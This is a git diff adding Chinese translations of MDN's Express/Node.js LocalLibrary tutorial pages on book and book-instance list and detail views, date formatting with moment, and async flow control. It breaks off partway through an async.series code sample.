--- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html @@ -0,0 +1,70 @@ +--- +title: 书本列表页面 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page +--- +<p>接下做我们将实作书本列表页面。这个页面需要呈现数据库中所有书本的列表,包含每本书的作者、标题,标题将成为一个超连结,连到书本详细内容页面。</p> + +<h2 class="highlight-spanned" id="控制器"><span class="highlight-span">控制器</span></h2> + +<p>书本列表控制器函数,需要获取数据库中所有<code>Book</code>对象的列表,然后将这些对象传给模板进行呈现。</p> + +<p>打开 <strong>/controllers/bookController.js</strong>. 找到导出的 <code>book_list()</code> 控制器方法,并替换為下面的代码。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all Books.</span> +exports<span class="punctuation token">.</span>book_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="string token">'title author'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">//Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Book List'</span><span class="punctuation token">,</span> book_list<span class="punctuation token">:</span> list_books <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>该方法使用模型的<code>find()</code>函数返回所有<code>Book</code>对象,选择仅返回标题<code>title</code>和作者<code>author</code>,因为我们不需要其他字段(它也会返回<code>_id</code>和虚拟字段)。这里我们还调用<code>Book</code>上的<code>populate()</code> ,指定作者<code>author</code>字段 — 这将用完整的作者信息,替换存储的书本作者 id。</p> + +<p>成功时,传递给查询的回调,将呈现<strong> book_list</strong>(.pug) 模板,将标题<code>title</code>和<code>book_list</code>(包含作者的書本列表)作为变量传递。</p> + +<h2 class="highlight-spanned" id="视图">视图</h2> + +<p>创建 <strong>/views/book_list.pug </strong>并复制底下的文字。</p> + +<p> </p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each book <span class="keyword token">in</span> book_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>book<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>book<span class="punctuation token">.</span>title<span class="punctuation token">}</span> + <span class="operator token">|</span> <span class="punctuation token">(</span>#<span class="punctuation token">{</span>book<span class="punctuation token">.</span>author<span class="punctuation token">.</span>name<span class="punctuation token">}</span><span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no books<span class="punctuation token">.</span></code></pre> + +<p>這个视图扩展了 <strong>layout.pug</strong> 基本模板,并覆盖了名为 '<strong>content</strong>' 的區块 <code>block</code> 。它显示我们从控制器传入的标题<code>title</code>(通过<code>render()</code>方法),然后使用<code>each</code>-<code>in</code>-<code>else</code>语法,遍历<code>book_list</code>变量。为每本图书创建一个列表项,以显示书名,并作为书的详细信息页面的链接,后面跟着作者姓名。如果<code>book_list</code>中没有书,则执行<code>else</code>子句,并显示文字 “没有书” 'There are no books.'。</p> + +<div class="note"> +<p><strong>注意:</strong> 我们使用 <code>book.url</code> ,为每本书提供详细记录链接(我们已经实现了此路由,但尚未实现此页面)。这是 <code>Book </code>模型的一个虚拟属性,它使用模型实例的 <code>_id </code>字段,生成唯一的URL路径。</p> +</div> + +<p>在这里,我們感兴趣的是,每本书被定义为两行,第二行使用管道(上面高亮显示)。这种方法是必要的,因为如果作者姓名位于上一行,那么它将成为超链接的一部分。</p> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行本应用 (参见 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">测试路由</a> 有相关的命令) ,并打开你的浏览器,访问 <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>。然后选择 所有书本 连结。如果每样东西都设定正确了,你的网站看起来应该像底下的截图。</p> + +<p><img alt="Book List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14464/LocalLibary_Express_Book_List.png" style="border-style: solid; border-width: 1px; display: block; height: 387px; margin: 0px auto; width: 918px;"></p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 下个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page">书本实例列表页面</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html new file mode 100644 index 0000000000..cba25ab30d --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_detail_page_and_challenge/index.html @@ -0,0 +1,91 @@ +--- +title: 书本实例细节页面、与自我挑战 +slug: >- + learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge +translation_of: >- + Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge +--- +<h2 id="书本实例细节页面">书本实例细节页面</h2> + +<p><code>BookInstance</code>细节页面,需要呈现每一个<code>BookInstance</code>的信息,用 <code>_id</code> 字段值(自动产生)做识别。它包含了 <code>Book</code> 名称 (也是一个连结,连到 书本细节页面),接着是纪录中的其它的信息。</p> + +<h3 id="控制器">控制器</h3> + +<p>打开 <strong>/controllers/bookinstanceController.js</strong>. ,找到exported <code>bookinstance_detail()</code> 控制器方法,并替换以下代码。</p> + +<pre class="brush: js">// Display detail page for a specific BookInstance. +exports.bookinstance_detail = function(req, res, next) { + +<strong> BookInstance.findById(req.params.id) + .populate('book') + .exec(function (err, bookinstance) { + if (err) { return next(err); } + if (bookinstance==null) { // No results. + var err = new Error('Book copy not found'); + err.status = 404; + return next(err); + } + // Successful, so render. + res.render('bookinstance_detail', { title: 'Book:', bookinstance: bookinstance}); + })</strong> + +}; +</pre> + +<p>该方法使用从URL(使用路由)中提取的特定书本实例的ID,调用<code>BookInstance.findById()</code>,并通过请求参数(<code style="font-style: normal; font-weight: normal;">req.params.id</code>),在控制器中访问。然后调用<code>populate()</code>来获取相关<code>Book</code>的详细信息。</p> + +<h3 id="视图">视图</h3> + +<p>创建 <strong>/views/bookinstance_detail.pug</strong>,并复制到下面的内容中。</p> + +<pre class="brush: js">extends layout + +block content + +<strong> h1 ID: #{bookinstance._id}</strong> + + p #[strong Title:] + a(href=bookinstance.book.url) #{bookinstance.book.title} + p #[strong Imprint:] #{bookinstance.imprint} + + p #[strong Status:] + if bookinstance.status=='Available' + span.text-success #{bookinstance.status} + else if bookinstance.status=='Maintenance' + span.text-danger #{bookinstance.status} + else + span.text-warning #{bookinstance.status} + + if bookinstance.status!='Available' + p #[strong Due back:] #{bookinstance.due_back} +</pre> + +<p>本模组中的所有东西,都在先前的章节演示过了。</p> + +<h3 id="它看起來像是">它看起來像是?</h3> + +<p>运行本应用,并打开浏览器访问 <a href="http://localhost:3000/">http://localhost:3000/</a>。选择 All book-instances 连结,然后选择其中一本。如果每个东西都设定正确了,你的网站看起来应该像是底下的截图。</p> + +<p><img alt="BookInstance Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14472/LocalLibary_Express_BookInstance_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 362px; margin: 0px auto; width: 1000px;"></p> + +<h2 id="自我挑战">自我挑战</h2> + +<p>目前,我们网站上显示的大多数日期,都使用默认的 JavaScript 格式(例如 <em>Tue Dec 06 2016 15:49:58 GMT+1100</em>(AUS东部夏令时间)。本文的挑战,是改善作者<code>Author</code>生命周期日期显示的外观信息(死亡/出生日期)和BookInstance详细信息页面,使用格式:December 6th, 2016。</p> + +<div class="note"> +<p><strong>注意:</strong> 您可以使用与我们用于 Book Instance List 的相同方法(将生命周期的虚拟属性,添加到<code>Author</code>模型,并使用<a href="https://www.npmjs.com/package/moment">moment</a>来设置日期字符串的格式)。</p> +</div> + +<p>这一挑战的要求:</p> + +<ol> + <li>用 BookInstance 详细信息页面中的 <code>due_back_formatted</code> 替换 <code>due_back</code>。</li> + <li>更新作者模块以添加寿命虚拟属性。寿命应該有两个值: <em>date_of_birth - date_of_death,這</em>两个值的格式与 <code>BookInstance.due_back_formatted</code>的日期格式相同。</li> + <li>在当前使用<code>date_of_birth</code> 和 <code>date_of_death</code>的所有视图中,使用 <code>Author.lifespan</code> 。</li> +</ol> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html new file mode 100644 index 0000000000..1e8403f0a5 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html @@ -0,0 +1,69 @@ +--- +title: 书本实例列表页面 +slug: learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page +--- +<p>接下来,我们将实作图书馆中所有书本实例 (<code>BookInstance</code>) 的列表页面。这个页面需要包含与每个 <code>BookInstance</code> (链接到其详细信息页面) 关联的书本 <code>Book</code> 标题,以及<code>BookInstance</code>模型中的其他信息,包含每个副本的状态,印记和唯一ID。唯一ID的文字,应该链接到 <code>BookInstance</code> 详细信息页面。</p> + +<h2 class="highlight-spanned" id="控制器"><span class="highlight-span">控制器</span></h2> + +<p><code>BookInstance</code>列表控制器函数,需要获取所有书本实例的列表,填充关联的书本信息,然后将列表传递给模板以进行呈现。</p> + +<p>打开 <strong>/controllers/bookinstanceController.js</strong>。找到导出的 <code>bookinstance_list()</code> 控制器方法,并用以下代码替换它(更改后的代码以粗体显示)。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all BookInstances.</span> +exports<span class="punctuation token">.</span>bookinstance_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + BookInstance<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_bookinstances<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Book Instance List'</span><span class="punctuation token">,</span> bookinstance_list<span class="punctuation token">:</span> list_bookinstances <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>此方法使用模型的<code>find()</code>函数,返回所有<code>BookInstance</code>对象。然后它将一个调用,以菊花链方式连接到<code>populate()</code>,附加书本<code>book</code>字段,这将使用完整的<code>Book</code>文档,替换每个<code>BookInstance</code>存储的书本ID。</p> + +<p>成功时,传递给查询的回调,会呈现 <strong>bookinstance_list</strong> (.pug)模板,并将标题<code>title</code>和书籍实例列表<code>bookinstance_list</code>作为变量传递。</p> + +<h2 class="highlight-spanned" id="视图"><span class="highlight-span">视图</span></h2> + +<p>创建 <strong>/views/bookinstance_list.pug</strong> ,並複制貼上底下的文字。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each val <span class="keyword token">in</span> bookinstance_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>val<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>book<span class="punctuation token">.</span>title<span class="punctuation token">}</span> <span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>imprint<span class="punctuation token">}</span> <span class="operator token">-</span> + <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">==</span><span class="string token">'Available'</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>success #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">==</span><span class="string token">'Maintenance'</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>danger #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">else</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>warning #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">!=</span><span class="string token">'Available'</span> + span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back<span class="punctuation token">}</span> <span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no book copies <span class="keyword token">in</span> <span class="keyword token">this</span> library<span class="punctuation token">.</span></code></pre> + +<p>这个視图与其他視图非常相似。它扩展了布局,替换内容區块,显示从控制器传入的标题<code>title</code>,并遍历<code>bookinstance_list</code> 中的所有书籍副本。对于每个副本,我们都会显示它的状态(用颜色编码),如果书本不可用,则显示其预期返回日期。這裡引入了一个新功能 — 我们可以在标签之后使用点符号表示法,來指定一個类別。因此,<code>span.text-success</code> 将被编译为 <code><span class="text-success"></code> (也可以用 Pug 编写为 <code>span(class="text-success")</code>.</p> + +<h2 class="highlight-spanned" id="它看起來像是"><span class="highlight-span">它看起來像是?</span></h2> + +<p>运行本应用,打开浏览器访问 <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>,然后选择 All book-instances 连结。假如每个东西都设定正确了,你的网站看起来应该像是底下的截图。</p> + +<p><img alt="BookInstance List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14474/LocalLibary_Express_BookInstance_List.png" style="border-style: solid; border-width: 1px; display: block; height: 322px; margin: 0px auto; width: 1200px;"></p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 下个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment">日期格式化与使用 moment</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html new file mode 100644 index 0000000000..8abbf8d290 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html @@ -0,0 +1,58 @@ +--- +title: 使用 moment 做日期格式化 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment +--- +<p>我们模型的日期预设呈现很难看: <em>Tue Dec 06 2016 15:49:58 GMT+1100 (AUS Eastern Daylight Time)</em>。在本节中,我们将展示如何更新上一节中的 書本實例 BookInstance 列表页面,以更友好的格式显示<code>due_date</code>字段:December 6th, 2016。</p> + +<p>我们将使用的方法,是在我们的<code>BookInstance</code>模型中,创建一个返回格式化日期的虚拟屬性。我们将使用<a class="external external-icon" href="https://www.npmjs.com/package/moment" rel="noopener">moment</a> 来做实际的格式化,这是一个轻量级JavaScript日期库,用于解析,验证,操作和格式化日期。</p> + +<div class="note"> +<p><strong>注意:</strong> 我们可以直接在 Pug 模板中,使用 <em>moment </em>格式化字符串,或者可以在许多其它地方格式化字符串。使用虚拟属性,可以使我们获得格式化的日期,這与我们当前获取 <code>due_date</code> 的方式完全相同。</p> +</div> + +<h2 class="highlight-spanned" id="安装_moment">安装<span class="highlight-span"> moment</span></h2> + +<p>在项目的根目录,输入下列命令</p> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install moment</code></pre> + +<h2 class="highlight-spanned" id="创建虚拟属性">创建虚拟属性</h2> + +<ol> + <li>打开<strong> ./models/bookinstance.js</strong>.</li> + <li>在此页面最上方,引用 moment + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> moment <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'moment'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + </li> +</ol> + +<p>在 url 属性后面,加入虚拟属性 <code>due_back_formatted</code> 。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">BookInstanceSchema +<span class="punctuation token">.</span><span class="function token">virtual</span><span class="punctuation token">(</span><span class="string token">'due_back_formatted'</span><span class="punctuation token">)</span> +<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> <span class="function token">moment</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>due_back<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'MMMM Do, YYYY'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>注意:</strong> 格式化方法可以使用几乎任何模式显示日期。<a class="external external-icon" href="http://momentjs.com/docs/#/displaying/" rel="noopener">moment文档</a>中,可以找到表示不同日期组件的语法。</p> +</div> + +<h2 class="highlight-spanned" id="更新视图"><span class="highlight-span">更新视图</span></h2> + +<p>打开 <strong>/views/bookinstance_list.pug</strong> ,然后用 <code>due_back_formatted</code> 取代 <code>due_back</code> 。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"> <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">!=</span><span class="string token">'Available'</span> + <span class="comment token">//span (Due: #{val.due_back} )</span> + span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back_formatted<span class="punctuation token">}</span> <span class="punctuation token">)</span> </code></pre> + +<p>这就是本章节的全部了。如果你访问侧边栏的 All book-instances ,你应该会看到所有的归还日期都更吸引人了!</p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 下一個部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">作者列表页面、种类列表页面、与自我挑战</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html new file mode 100644 index 0000000000..f720812c50 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html @@ -0,0 +1,139 @@ +--- +title: 使用 async 进行非同步流控制 +slug: learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async +--- +<p>有些本地图书馆网页的控制器代码,会依赖多重非同步要求的结果,可能会需要以某种特定次序运行,或者以平行方式运行。为了管理流控制,并在我们所有需要用到的信息,都已经可以取用的时候,再绘制网页,我们将使用许多人采用的 node <a class="external external-icon" href="https://www.npmjs.com/package/async" rel="noopener">async</a> 模组。</p> + +<div class="note"> +<p><strong>注意:</strong> 在 JavaScript 中有许多其他方法,可以管理异步行为和流控制,包括相对较新的 JavaScript 语言功能,如 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Techniques/Promises">Promises</a>。</p> +</div> + +<p>Async 有很多有用的方法(请查看<a href="http://caolan.github.io/async/docs.html">文档</a>)。一些最重要的功能是:</p> + +<ul> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> 执行必须并行执行的任何操作。</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> 用于当需要确保异步操作是序列执行的。</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> 用于必须序列运行的操作,每个操作取决于前面操作的结果。</li> +</ul> + +<h2 class="highlight-spanned" id="为什么需要这么做">为什么需要这么做?</h2> + +<p>我们在 Express 中使用的大多数方法,都是异步的 - 您指定要执行的操作,传递回调。该方法立即返回,并在请求的操作完成时,调用回调。按照 Express 中的惯例,回调函数将错误值作为第一个参数传递(或成功时为 <code>null</code>),并将函数的结果(如果有的话)作为第二个参数传递。</p> + +<p>如果控制器只需要执行<strong>一个</strong>异步操作,来获取呈现页面所需的信息,那么实现很简单 - 我们只需在回调中呈现模板。下面的代码片段,显示了一个函数,该函数呈现模型 <code>SomeModel</code> 的计数(使用Mongoose <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.count" rel="noopener">count()</a></code>方法):</p> + +<pre class="brush: js"><code>exports.some_model_count = function(req, res, next) { + +</code> SomeModel.count({ a_model_field: 'match_value' }, function (err, count) { + // ... do something if there is an err + + // On success, render the result by passing count into the render function (here, as the variable 'data'). + res.render('the_template', { data: count } ); + }); +<code>}</code> +</pre> + +<p>但是,如果您需要进行<strong>多个</strong>异步查询,并且在完成所有操作之前,无法呈现页面,该怎么办?一个单纯的实现可以用 “菊花链” 连接请求,在先前请求的回调中,启动后续请求,并在最终回调中呈现响应。这种方法的问题,是我们的请求必须串行运行,即使并行运行它们可能更有效。这也可能导致复杂的嵌套代码,通常称为<a href="http://callbackhell.com/">回调地狱</a>。</p> + +<p>一个更好的解决方案,是并行执行所有请求,然后在所有查询完成后执行单个回调。这是 Async 模块简化的流操作!</p> + +<h2 class="highlight-spanned" id="平行的非同步操作"><span class="highlight-span">平行的非同步操作</span></h2> + +<p>方法<code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code>用于并行运行多个异步操作。</p> + +<p><code>async.parallel()</code> 的第一个参数,是要运行的异步函数的集合(数组,对象或其他可迭代的)。每个函数都传递一个回调函数<code>callback(err, result)</code> ,它必须在完成时调用错误<code>err</code>(可以为<code>null</code>)和可选的结果值。</p> + +<p><code>async.parallel()</code>的可选第二个参数是一个回调,它将在第一个参数中的所有函数完成时运行。回调的调用,是使用错误参数和包含各个异步操作结果的结果集合。结果集合与第一个参数的类型相同(即,如果传递异步函数数组,则将使用结果数组,调用最终回调)。如果任何并行函数报告错误,则提前调用回调(具有错误值)。</p> + +<p>下面的示例,显示了当我们将对象作为第一个参数传递时它是如何工作的。如您所见,结果将返回到一个对象中,该对象具有与传入的原始函数相同的属性名称。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + two<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + something_else<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// 'results' is now equal to: {one: 1, two: 2, ..., something_else: some_value}</span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>如果您将一组函数,作为第一个参数传递,则结果将是一个数组(数组顺序结果,将与声明函数的原始顺序匹配 - 而不是它们完成的顺序)。</p> + +<h2 class="highlight-spanned" id="序列的非同步操作"><span class="highlight-span">序列的非同步操作</span></h2> + +<p><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code>方法用于按顺序运行多个异步操作,后续函数不依赖于先前函数的输出。它本质上是声明的,并且行为与<code>async.parallel()</code>.相同。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + two<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> + something_else<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback after the last asynchronous function completes.</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// 'results' is now equals to: {one: 1, two: 2, ..., something_else: some_value} </span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>注意:</strong> ECMAScript(JavaScript)语言规范指出,对象的枚举顺序是未定义的,因此可能不会按照在所有平台上指定它们的顺序,调用这些函数。如果顺序真的很重要,那么你应该传递一个数组而不是一个对象,如下所示。</p> +</div> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">[</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// do some stuff ...</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'one'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// do some more stuff ... </span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span 